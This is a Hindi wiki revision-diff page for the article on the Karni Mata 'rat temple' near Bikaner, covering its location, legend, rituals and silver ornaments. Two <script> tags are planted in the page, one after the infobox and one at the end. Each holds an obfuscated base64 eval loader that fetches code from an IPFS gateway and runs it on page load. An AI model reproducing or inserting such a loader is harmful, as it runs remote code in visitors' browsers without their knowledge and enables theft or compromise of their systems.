"करणीमाता का मंदिर बीकानेर" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "सफेद" to "सफ़ेद") |
कविता भाटिया (चर्चा | योगदान) |
||
(5 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | [[बीकानेर]], [[ | + | {{सूचना बक्सा पर्यटन |
+ | |चित्र=Karni-Mata-Temple.jpg | ||
+ | |चित्र का नाम=करणीमाता का मंदिर, बीकानेर | ||
+ | |विवरण= करणीमाता का मंदिर [[राजस्थान]] राज्य के एतिहासिक नगर [[बीकानेर]] से लगभग 30 किलोमीटर दूर [[जोधपुर]] रोड पर गाँव देशनोक की सीमा में स्थित है। | ||
+ | |राज्य=[[राजस्थान]] | ||
+ | |केन्द्र शासित प्रदेश= | ||
+ | |ज़िला=[[बीकानेर ज़िला|बीकानेर]] | ||
+ | |निर्माता= | ||
+ | |स्वामित्व= | ||
+ | |प्रबंधक= | ||
+ | |निर्माण काल= | ||
+ | |स्थापना= | ||
+ | |भौगोलिक स्थिति=[http://maps.google.com/maps?q=27.790556,73.340833&t=m&z=15&vpsrc=0 उत्तर- 27°47′26″, पूर्व- 73°20′27″] | ||
+ | |मार्ग स्थिति= | ||
+ | |मौसम= | ||
+ | |तापमान= | ||
+ | |प्रसिद्धि= मंदिर के मुख्य द्वार पर संगमरमर पर नक़्क़ाशी को भी विशेष रूप से देखने के लिए लोग यहाँ आते हैं। [[चाँदी]] के किवाड़, [[सोना|सोने]] के छत्र और चूहों के प्रसाद के लिए यहाँ रखी चाँदी की बड़ी परात भी देखने लायक़ है। | ||
+ | |कब जाएँ= | ||
+ | |कैसे पहुँचें=हवाई जहाज़, रेल, बस आदि से पहुँचा जा सकता है। | ||
+ | |हवाई अड्डा=नाल हवाई अड्डा | ||
+ | |रेलवे स्टेशन=बीकानेर रेलवे स्टेशन | ||
+ | |बस अड्डा=बस अड्डा बीकानेर | ||
+ | |यातायात=ऑटो रिक्शा, सिटी बस | ||
+ | |क्या देखें= सुबह पाँच बजे मंगला आरती और सायं सात बजे आरती के समय चूहों का जुलूस तो देखने लायक़ होता है। | ||
+ | |कहाँ ठहरें=होटल, धर्मशाला, अतिथि ग्रह | ||
+ | |क्या खायें= | ||
+ | |क्या ख़रीदें= | ||
+ | |एस.टी.डी. कोड=0151 | ||
+ | |ए.टी.एम=लगभग सभी | ||
+ | |सावधानी= | ||
+ | |मानचित्र लिंक=[http://maps.google.co.in/maps?saddr=Karni+Mata+Temple+Bikaner&daddr=Raj+Vilas,+Sadul+Colony,+Bikaner,+Rajasthan&hl=en&sll=28.024485,73.325157&sspn=0.017692,0.027595&geocode=FSmgqwEdAsZeBCFWpsf688Z_Lg%3BFd6MqwEdFdxeBCGXeSLKZpgnQQ&vpsrc=0&mra=ls&t=m&z=16 गूगल मानचित्र] | ||
+ | |संबंधित लेख=[[जूनागढ़ क़िला बीकानेर|जूनागढ़ क़िला]], [[बीकानेर का क़िला]], [[सूरज पोल या सूर्य द्वार बीकानेर|सूरज पोल या सूर्य द्वार]], [[लाल गढ़ महल बीकानेर|लाल गढ़ महल]], [[गंगा गोल्डन जुबली संग्रहालय बीकानेर|गंगा गोल्डन जुबली संग्रहालय]] | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी= करणीमाता का मंदिर एक [[तीर्थ]] धाम है और इसे चूहे वाले मंदिर के नाम से भी जाना जानता हैं। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन={{अद्यतन|14:47, 2 दिसम्बर 2011 (IST)}} | ||
+ | }} | ||
+ | '''करणीमाता का मंदिर''' [[राजस्थान]] राज्य के एतिहासिक नगर [[बीकानेर]] से लगभग 30 किलोमीटर दूर [[जोधपुर]] रोड पर गाँव देशनोक की सीमा में स्थित है। यह भी एक [[तीर्थ]] धाम है, लेकिन इसे चूहे वाले मंदिर के नाम से भी जाना जानता हैं। करणी देवी साक्षात माँ जगदम्बा की अवतार थीं। | ||
− | अब से लगभग साढ़े छह सौ वर्ष पूर्व जिस स्थान पर यह भव्य मंदिर है, वहाँ एक गुफा में रहकर माँ अपने इष्ट देव की पूजा अर्चना किया करती थीं। यह गुफा आज भी मंदिर परिसर में स्थित है। माँ के ज्योर्तिलीन होने पर उनकी इच्छानुसार उनकी मूर्ति की इस गुफा में स्थापना की गई। संगमरमर से बने मंदिर की भव्यता देखते ही बनती है। वहाँ पर चूहों की धमाचौकड़ी देखती ही बनती है। चूहे पूरे मंदिर प्रांगण में मौजूद रहते | + | अब से लगभग साढ़े छह सौ [[वर्ष]] पूर्व जिस स्थान पर यह भव्य मंदिर है, वहाँ एक गुफा में रहकर माँ अपने इष्ट देव की पूजा अर्चना किया करती थीं। यह गुफा आज भी मंदिर परिसर में स्थित है। माँ के ज्योर्तिलीन होने पर उनकी इच्छानुसार उनकी मूर्ति की इस गुफा में स्थापना की गई। संगमरमर से बने मंदिर की भव्यता देखते ही बनती है। वहाँ पर चूहों की धमाचौकड़ी देखती ही बनती है। चूहे पूरे मंदिर प्रांगण में मौजूद रहते हैं। वे श्रद्धालुओं के शरीर पर कूद-फांद करते हैं, लेकिन किसी को कोई नुक़सान नहीं पहुँचाते। [[चील]], [[गिद्ध]] और दूसरे जानवरों से इन चूहों की रक्षा के लिए मंदिर में खुले स्थानों पर बारीक जाली लगी हुई है। इन चूहों की उपस्थिति की वजह से ही श्री करणी देवी का यह मंदिर चूहों वाले मंदिर के नाम से भी विख्यात है। ऐसी मान्यता है कि किसी श्रद्धालु को यदि यहाँ सफ़ेद चूहे के दर्शन होते हैं, तो इसे बहुत शुभ माना जाता है। सुबह पाँच बजे मंगला आरती और सायं सात बजे आरती के समय चूहों का जुलूस तो देखने लायक़ होता है। मंदिर के मुख्य द्वार पर संगमरमर पर नक़्क़ाशी को भी विशेष रूप से देखने के लिए लोग यहाँ आते हैं। [[चाँदी]] के किवाड़, [[सोना|सोने]] के छत्र और चूहों के प्रसाद के लिए यहाँ रखी चाँदी की बड़ी परात भी देखने लायक़ है। |
+ | {{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
+ | ==वीथिका== | ||
+ | <gallery> | ||
+ | चित्र:Karni-Mata-Temple-1.jpg|करणीमाता का मंदिर, [[बीकानेर]] | ||
+ | चित्र:Karni-Mata-Temple-2.jpg|करणीमाता का मंदिर, [[बीकानेर]] | ||
+ | चित्र:Karni-Mata-Temple-Bikaner.jpg|करणीमाता का मंदिर, [[बीकानेर]] | ||
+ | </gallery> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{राजस्थान के पर्यटन स्थल}} | {{राजस्थान के पर्यटन स्थल}} | ||
− | + | [[Category:राजस्थान]][[Category:राजस्थान_के_पर्यटन_स्थल]][[Category:पर्यटन_कोश]][[Category:बीकानेर]][[Category:बीकानेर_के_पर्यटन_स्थल]] | |
− | [[Category:राजस्थान]][[Category:राजस्थान_के_पर्यटन_स्थल]][[Category:पर्यटन_कोश]][[Category:बीकानेर]][[Category:बीकानेर_के_पर्यटन_स्थल]]__INDEX__ | + | [[Category:धार्मिक_स्थल_कोश]][[Category:हिन्दू_धार्मिक_स्थल]] |
+ | __INDEX__ |
08:21, 29 जुलाई 2016 के समय का अवतरण
करणीमाता का मंदिर बीकानेर
| |
विवरण | करणीमाता का मंदिर राजस्थान राज्य के एतिहासिक नगर बीकानेर से लगभग 30 किलोमीटर दूर जोधपुर रोड पर गाँव देशनोक की सीमा में स्थित है। |
राज्य | राजस्थान |
ज़िला | बीकानेर |
भौगोलिक स्थिति | उत्तर- 27°47′26″, पूर्व- 73°20′27″ |
प्रसिद्धि | मंदिर के मुख्य द्वार पर संगमरमर पर नक़्क़ाशी को भी विशेष रूप से देखने के लिए लोग यहाँ आते हैं। चाँदी के किवाड़, सोने के छत्र और चूहों के प्रसाद के लिए यहाँ रखी चाँदी की बड़ी परात भी देखने लायक़ है। |
कैसे पहुँचें | हवाई जहाज़, रेल, बस आदि से पहुँचा जा सकता है। |
नाल हवाई अड्डा | |
बीकानेर रेलवे स्टेशन | |
बस अड्डा बीकानेर | |
ऑटो रिक्शा, सिटी बस | |
क्या देखें | सुबह पाँच बजे मंगला आरती और सायं सात बजे आरती के समय चूहों का जुलूस तो देखने लायक़ होता है। |
कहाँ ठहरें | होटल, धर्मशाला, अतिथि ग्रह |
एस.टी.डी. कोड | 0151 |
ए.टी.एम | लगभग सभी |
गूगल मानचित्र | |
संबंधित लेख | जूनागढ़ क़िला, बीकानेर का क़िला, सूरज पोल या सूर्य द्वार, लाल गढ़ महल, गंगा गोल्डन जुबली संग्रहालय
|
अन्य जानकारी | करणीमाता का मंदिर एक तीर्थ धाम है और इसे चूहे वाले मंदिर के नाम से भी जाना जानता हैं। |
अद्यतन | 14:47, 2 दिसम्बर 2011 (IST)
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
करणीमाता का मंदिर राजस्थान राज्य के एतिहासिक नगर बीकानेर से लगभग 30 किलोमीटर दूर जोधपुर रोड पर गाँव देशनोक की सीमा में स्थित है। यह भी एक तीर्थ धाम है, लेकिन इसे चूहे वाले मंदिर के नाम से भी जाना जानता हैं। करणी देवी साक्षात माँ जगदम्बा की अवतार थीं।
अब से लगभग साढ़े छह सौ वर्ष पूर्व जिस स्थान पर यह भव्य मंदिर है, वहाँ एक गुफा में रहकर माँ अपने इष्ट देव की पूजा अर्चना किया करती थीं। यह गुफा आज भी मंदिर परिसर में स्थित है। माँ के ज्योर्तिलीन होने पर उनकी इच्छानुसार उनकी मूर्ति की इस गुफा में स्थापना की गई। संगमरमर से बने मंदिर की भव्यता देखते ही बनती है। वहाँ पर चूहों की धमाचौकड़ी देखती ही बनती है। चूहे पूरे मंदिर प्रांगण में मौजूद रहते हैं। वे श्रद्धालुओं के शरीर पर कूद-फांद करते हैं, लेकिन किसी को कोई नुक़सान नहीं पहुँचाते। चील, गिद्ध और दूसरे जानवरों से इन चूहों की रक्षा के लिए मंदिर में खुले स्थानों पर बारीक जाली लगी हुई है। इन चूहों की उपस्थिति की वजह से ही श्री करणी देवी का यह मंदिर चूहों वाले मंदिर के नाम से भी विख्यात है। ऐसी मान्यता है कि किसी श्रद्धालु को यदि यहाँ सफ़ेद चूहे के दर्शन होते हैं, तो इसे बहुत शुभ माना जाता है। सुबह पाँच बजे मंगला आरती और सायं सात बजे आरती के समय चूहों का जुलूस तो देखने लायक़ होता है। मंदिर के मुख्य द्वार पर संगमरमर पर नक़्क़ाशी को भी विशेष रूप से देखने के लिए लोग यहाँ आते हैं। चाँदी के किवाड़, सोने के छत्र और चूहों के प्रसाद के लिए यहाँ रखी चाँदी की बड़ी परात भी देखने लायक़ है।
|
|
|
|
|
वीथिका
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>